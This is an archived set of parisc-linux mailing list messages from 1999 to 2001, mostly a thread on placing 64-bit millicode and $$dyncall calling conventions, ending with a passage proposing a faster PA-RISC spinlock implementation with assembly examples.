Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619497 9923 80.91.229.3 (22 Nov 2014 01:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:57 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: law@upchuck.cygnus.com  Thu Jan  4 10:01:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA25655
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 10:01:26 -0700
Original-Received: (qmail 23097 invoked by uid 15267); 4 Jan 2001 17:04:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23069 invoked from network); 4 Jan 2001 17:04:48 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 17:04:48 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA07695
	for <parisc-linux@thepuffingroup.com>; Thu, 4 Jan 2001 09:04:46 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA11553;
	Thu, 4 Jan 2001 10:06:49 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 04 Jan 2001 09:36:33 MST.
             <E14EDNR-00024o-00@noam.fc.hp.com> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9095


  In message <E14EDNR-00024o-00@noam.fc.hp.com>you write:
  > 
  > For hppa64-linux it appears the only millicode we're using is $$div*
  > and $$rem*, not $$dyncall nor $sh_func_adrs.  Let me know if I should
  > be porting anything other thatn div/rem -- thanks.
That sounds correct to me.  The PA64 calling conventions don't need
$$dyncall or $sh_func_addrs.

jeff


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 10:29:38 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <11690.978629378@upchuck>
References: <200101040618.BAA05609@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619497 9926 80.91.229.3 (22 Nov 2014 01:24:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:57 +0000 (UTC)
Cc: alan@linuxcare.com.au (Alan Modra), bame@fc.hp.com,
        parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Thu Jan  4 10:24:15 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26148
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 10:24:14 -0700
Original-Received: (qmail 28347 invoked by uid 15267); 4 Jan 2001 17:27:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28326 invoked from network); 4 Jan 2001 17:27:36 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 17:27:36 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA09258
	for <parisc-linux@thepuffingroup.com>; Thu, 4 Jan 2001 09:27:34 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA11693;
	Thu, 4 Jan 2001 10:29:38 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 04 Jan 2001 01:18:48 EST.
             <200101040618.BAA05609@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9096


  In message <200101040618.BAA05609@hiauly1.hia.nrc.ca>you write:
  > > How about $$dyncall?  Wouldn't loading r19/r29 break this function?  I'm
  > > thinking of the case where $$dyncall is passed the address of a local
  > > function rather than a plabel.  We wouldn't want to load r19/r29 with the
  > > value for a shared libgcc.
  > 
  > Could this and maybe some of the other short milli routines be compiler
  > "builtins"?  This would allow inlining.
Yes, though it's not clear how much of a win it is for PA32, it might even
be a loss.  Hard to guess.  Someone would have to benchmark it.

For PA64 the indirect calling sequence is significantly simpler and is
emitted inline, hence we don't need/use $$dyncall for PA64.

jeff


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 10:37:20 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <11763.978629840@upchuck>
References: <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619498 9928 80.91.229.3 (22 Nov 2014 01:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:58 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Thu Jan  4 10:32:03 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA26532
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 10:32:02 -0700
Original-Received: (qmail 8238 invoked by uid 15267); 4 Jan 2001 17:35:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8119 invoked from network); 4 Jan 2001 17:35:21 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 17:35:21 -0000
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id JAA09793
	for <parisc-linux@thepuffingroup.com>; Thu, 4 Jan 2001 09:35:19 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA11766;
	Thu, 4 Jan 2001 10:37:20 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 04 Jan 2001 16:20:37 +1100.
             <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9097


  In message <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au>y
ou write:
  > On Wed, 3 Jan 2001, Jeffrey A Law wrote:
  > 
  > > The easiest (to me) solution is to put the routines into the system C
  > > library.  You'd drop the special millcode conventions, but that's a
  > 
  > How about $$dyncall?  Wouldn't loading r19/r29 break this function?  I'm
  > thinking of the case where $$dyncall is passed the address of a local
  > function rather than a plabel.  We wouldn't want to load r19/r29 with the
  > value for a shared libgcc.
$$dyncall is only used for PA32 -- what ABI are you using for PA32?  The
existing ones don't require $dp or $gp to be loaded by the caller -- they're
handled in the stub between the caller & callee.


jeff


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 10:41:44 -0700
Lines: 4
Approved: news@gmane.org
Message-ID: <E14EEOW-0000w1-00@noam.fc.hp.com>
References: <11763.978629840@upchuck>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619498 9932 80.91.229.3 (22 Nov 2014 01:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:58 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: law@redhat.com
Original-X-From: bame@fc.hp.com  Thu Jan  4 10:38:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27005
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 10:38:24 -0700
Original-Received: (qmail 18174 invoked by uid 15267); 4 Jan 2001 17:41:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18164 invoked from network); 4 Jan 2001 17:41:46 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 17:41:46 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id EF9788AA; Thu,  4 Jan 2001 12:41:45 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA25995;
	Thu, 4 Jan 2001 10:41:44 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14EEOW-0000w1-00; Thu, 04 Jan 2001 10:41:44 -0700
In-Reply-To: Your message of "Thu, 04 Jan 2001 10:37:20 MST."
             <11763.978629840@upchuck> 
Xref: news.gmane.org gmane.linux.ports.parisc:9098


FYI I just committed the 64-bit millicode to the CVS on
puffin.external.hp.com adding it to libgcc.a as with 32-bit parisc gcc.


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 4 Jan 2001 11:00:49 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200101041902.LAA22273@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619498 9934 80.91.229.3 (22 Nov 2014 01:24:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:58 +0000 (UTC)
Cc: "Alan Modra" <alan@linuxcare.com.au>, <bame@fc.hp.com>,
        <parisc-linux@thepuffingroup.com>
To: <law@redhat.com>, "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: cary@cup.hp.com  Thu Jan  4 11:59:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA28245
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 11:59:28 -0700
Original-Received: (qmail 19508 invoked by uid 15267); 4 Jan 2001 19:02:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19491 invoked from network); 4 Jan 2001 19:02:51 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 19:02:51 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id B385E81A; Thu,  4 Jan 2001 11:02:45 -0800 (PST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA22273;
	Thu, 4 Jan 2001 11:02:45 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9099

>For PA64 the indirect calling sequence is significantly simpler and is
>emitted inline, hence we don't need/use $$dyncall for PA64.

Even for PA-32, $$dyncall should be simple enough to emit inline. There 
were two reasons why we didn't do it at first:

1. Our compilers emitted code that was compatible with both MPE and 
HP-UX. Since function pointers had different representations in these two 
runtimes, $$dyncall had to check a low-order bit.

2. After we implemented shared libraries on HP-UX, function pointers 
could be either "internal" or "external", and $$dyncall had to check.

Eventually, HP-UX has moved to a runtime where function pointers are 
either all internal (for a statically-bound program) or all external (for 
a dynamically-bound program). We now have compiler options to generate 
the appropriate inline sequence for either model.

Linux shouldn't need to be concerned with either of these cases. If 
you're using $$dyncall for the 32-bit runtime, I strongly suggest that 
you change the compiler.

-cary


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 04 Jan 2001 11:15:44 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200101041915.LAA29838@milano.cup.hp.com>
References: <200101041902.LAA22273@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619499 9940 80.91.229.3 (22 Nov 2014 01:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:59 +0000 (UTC)
Cc: law@redhat.com, "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
        "Alan Modra" <alan@linuxcare.com.au>, bame@fc.hp.com,
        parisc-linux@thepuffingroup.com
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: grundler@cup.hp.com  Thu Jan  4 12:10:56 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29267
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 12:10:55 -0700
Original-Received: (qmail 6428 invoked by uid 15267); 4 Jan 2001 19:14:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6402 invoked from network); 4 Jan 2001 19:14:17 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 19:14:17 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id A6C553E1; Thu,  4 Jan 2001 11:14:16 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA29838;
	Thu, 4 Jan 2001 11:15:46 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 04 Jan 2001 11:00:49 PST."
             <200101041902.LAA22273@adlmail.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9100

Cary Coutant wrote:
> Linux shouldn't need to be concerned with either of these cases. If 
> you're using $$dyncall for the 32-bit runtime, I strongly suggest that 
> you change the compiler.

Where does support for HPUX built apps fit into the picture?

I thought a long term goal is to support HPUX built apps to run under
parisc-linux. Eg it would be really cool if we could run the HPUX
X11 server...

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard "J." Rauenzahn <rrauenza@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] performance computing review of a180
Date: Sun, 16 May 1999 22:43:21 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <199905170543.WAA18072@hairball.cup.hp.com>
References: <19990514073913.18827@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619499 9942 80.91.229.3 (22 Nov 2014 01:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:59 +0000 (UTC)
Cc: justin@master.debian.org, parisc-linux@thepuffingroup.com
To: prumpf@jcsbs.lanobis.de
Original-X-From: rrauenza@cup.hp.com  Sun May 16 23:43:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA21518
	for <parisc-linux@puffin.external.hp.com>; Sun, 16 May 1999 23:43:32 -0600
Original-Received: (qmail 1633 invoked by uid 15267); 17 May 1999 05:42:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1625 invoked from network); 17 May 1999 05:42:51 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 17 May 1999 05:42:51 -0000
Original-Received: from hairball.cup.hp.com (hairball.cup.hp.com [15.14.120.25])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA01205;
	Mon, 17 May 1999 01:43:06 -0400 (EDT)
Original-Received: (from rrauenza@localhost) by hairball.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id WAA18072; Sun, 16 May 1999 22:43:21 -0700 (PDT)
In-Reply-To: <19990514073913.18827@insula.local> from Philipp Rumpf at May "14," 1999 "07:39:13" am
X-Mailer: ELM [$Revision: 1.16.213.5 $]
Xref: news.gmane.org gmane.linux.ports.parisc:9101

> >hp-ux os (for example, online manual pages...additionally, the hp instant
> >information cd-rom, a collection of documentation is available as a $300
> >option. thus, to install the a-class, it is cubersome (though necessary) to
> >have another system on hand to various documentation web sites."
> 
> This attitude, if it is more common, could make Linux on the A180 a lot more
> popular. Linux is fairly standardized, you can get most Documentation as
> hardcopy or read it on an x86 box etc.

Most of the instant information cdrom is online at www.docs.hp.com.

Rich


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Thu, 4 Jan 2001 13:20:04 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <200101042122.NAA27934@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619499 9946 80.91.229.3 (22 Nov 2014 01:24:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:59 +0000 (UTC)
Cc: <law@redhat.com>, "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
        "Alan Modra" <alan@linuxcare.com.au>, <bame@fc.hp.com>,
        <parisc-linux@thepuffingroup.com>
To: "Grant Grundler" <grundler@cup.hp.com>
Original-X-From: cary@cup.hp.com  Thu Jan  4 14:18:40 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA30545
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 14:18:39 -0700
Original-Received: (qmail 25762 invoked by uid 15267); 4 Jan 2001 21:22:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25749 invoked from network); 4 Jan 2001 21:22:02 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 21:22:02 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id D85BF55F; Thu,  4 Jan 2001 13:22:00 -0800 (PST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA27934;
	Thu, 4 Jan 2001 13:22:00 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9102

>Where does support for HPUX built apps fit into the picture?
>
>I thought a long term goal is to support HPUX built apps to run under
>parisc-linux. Eg it would be really cool if we could run the HPUX
>X11 server...

If they're built on HP-UX, they will already have been linked with the 
HP-UX millicode library.

-cary


From - Thu Nov 08 21:14:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] where to put 64 bit libmilli?
Date: Fri, 5 Jan 2001 10:52:54 +1100 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101051039300.24485-100000@front.linuxcare.com.au>
References: <11763.978629840@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619500 9950 80.91.229.3 (22 Nov 2014 01:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:00 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, John David Anglin <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@redhat.com>
Original-X-From: alan@linuxcare.com.au  Thu Jan  4 16:49:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA31704
	for <parisc-linux@puffin.external.hp.com>; Thu, 4 Jan 2001 16:49:53 -0700
Original-Received: (qmail 13309 invoked by uid 15267); 4 Jan 2001 23:53:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13257 invoked from network); 4 Jan 2001 23:53:10 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 Jan 2001 23:53:10 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA28593;
	Fri, 5 Jan 2001 10:52:54 +1100
In-Reply-To: <11763.978629840@upchuck>
Xref: news.gmane.org gmane.linux.ports.parisc:9103

On Thu, 4 Jan 2001, Jeffrey A Law wrote:

>   In message <Pine.LNX.4.21.0101041608490.15554-100000@front.linuxcare.com.au>y
> ou write:
>   > On Wed, 3 Jan 2001, Jeffrey A Law wrote:
>   > 
>   > > The easiest (to me) solution is to put the routines into the system C
>   > > library.  You'd drop the special millcode conventions, but that's a
>   > 
>   > How about $$dyncall?  Wouldn't loading r19/r29 break this function?  I'm
>   > thinking of the case where $$dyncall is passed the address of a local
>   > function rather than a plabel.  We wouldn't want to load r19/r29 with the
>   > value for a shared libgcc.
> $$dyncall is only used for PA32 -- what ABI are you using for PA32?  The
> existing ones don't require $dp or $gp to be loaded by the caller -- they're
> handled in the stub between the caller & callee.

The ABI hasn't changed.  r19 is loaded by the stub for a call into a
shared lib function.  That's a problem if we ever wanted to put $$dyncall
into a shared lib and make it available externally, as this particular
call should _not_ load r19.  ie. At least for $$dyncall, we can't use
standard hppa calling conventions.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] spinlocks
Date: Fri, 5 Jan 2001 17:32:43 +0000
Lines: 132
Approved: news@gmane.org
Message-ID: <20010105173243.A14195@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619500 9953 80.91.229.3 (22 Nov 2014 01:25:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Fri Jan  5 10:29:21 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27353
	for <parisc-linux@puffin.external.hp.com>; Fri, 5 Jan 2001 10:29:20 -0700
Original-Received: (qmail 30348 invoked by uid 15267); 5 Jan 2001 17:32:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30318 invoked from network); 5 Jan 2001 17:32:44 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 5 Jan 2001 17:32:44 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14EajL-0003v0-00
	for parisc-linux@thepuffingroup.com; Fri, 05 Jan 2001 17:32:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9104


I noticed while I was implementing rw semaphores that i'd basically
implemented spinlocks, so I went to look at our spinlock implementation,
just to check my `sentry' was the same as a spinlock.

I think our spinlock implementation is suboptimal.  Here it is:

#define spin_lock(x) \
        do { while(__ldcw(&(x)->lock) == 0); } while(0)

While the spinlock is contended, the processor will be doing `ldcw' insns,
just as fast as it can.  Now imagine we have two processors waiting
for the lock.  The first will load the word (pulling the value across
the bus), clear the word (telling all other cpus to invalidate that
cache line).  Then the second one loads the word, clears the word... in
other words the bus is now fully occupied while these processors spin.
It'll certainly slow down the system and may grind the system to a
complete halt (someone said the Runway bus was't fair, so if the top two
processors are contending for the lock, and the lowest priority processor
has it, it may not be able to make progress and release the lock).

A better design is to repeatedly load the value until it becomes non-zero,
and only then try to ldcw it.  This way, all processors have a read-only
copy of the cache line and checking its value has no effect on the bus.
In C, this could be implemented as:

	while (__ldcw(&(x)->lock) == 0)
		while (((volatile int)(x)->lock) == 0) ;

So here's the code I originally came up with for my sentry, which I'd like
people to consider for the spinlock.

extern inline void __acquire_sentry(struct rw_semaphore *sem)
{
	int sentry;
	__asm__("
	b,n	1f
2:	ldw	0(%1), %0
	comib,<> 0, %0, 2b
	nop
1:	ldcw	0(%1), %0
	comib,<> 0, %0, 2b
	nop"
	: "=r" (sentry) : "r" (sem));
}

I tried rearranging it to take advantage of the delay slot, and it came
out like this:

extern inline void spin_lock(struct spinlock *lock)
{
	int sentry;
	__asm__("
	b	1f
	ldcw	0(%1), %0
2:      comib,<>,N 0, %0, 2b
	ldw	0(%1), %0
	ldcw	0(%1), %0
1:      comib,<>,N 0, %0, 2b
	ldw	0(%1), %0"
	: "=r" (sentry) : "r" (sem));
}

which doesn't seem like an improvement to me.  Still, I'm sure other people
are better at optimising PA-RISC assembler than I am.  How important is using
the delay slot these days with the highly out-of-order CPUs?

On other architectures, ELF sections (.text.lock) are used to out-of-line
the slow case.  But given that we only have a limited range on the comib
insn (+/- 8k), we would need a way to get the out-of-line case positioned
close to the function which was calling it.  BTW, using the C definition,
the compiler does the out-of-lining for us!  Using -O2 on the following
simple program:

struct sl {
        int lock;
};

int z; /* protected by the sl */

struct sl y;

#define spin_lock(x) do { \
        while (__ldcw (&(x)->lock) == 0) \
                while (((volatile int)(x)->lock) == 0) ; } while (0)

#define spin_unlock(x) \
        do { (x)->lock = 1; } while(0)

int main(void)
{
        spin_lock(&y);
        z = 65473659;
        spin_unlock(&y);
        return z;
}

gives:

#APP
        ldcw 0(%r20),%r19
#NO_APP
        comib,= 0,%r19,.L20
        ldil L'65473659,%r28
.L21:
        addil LR'z-$global$,%r27
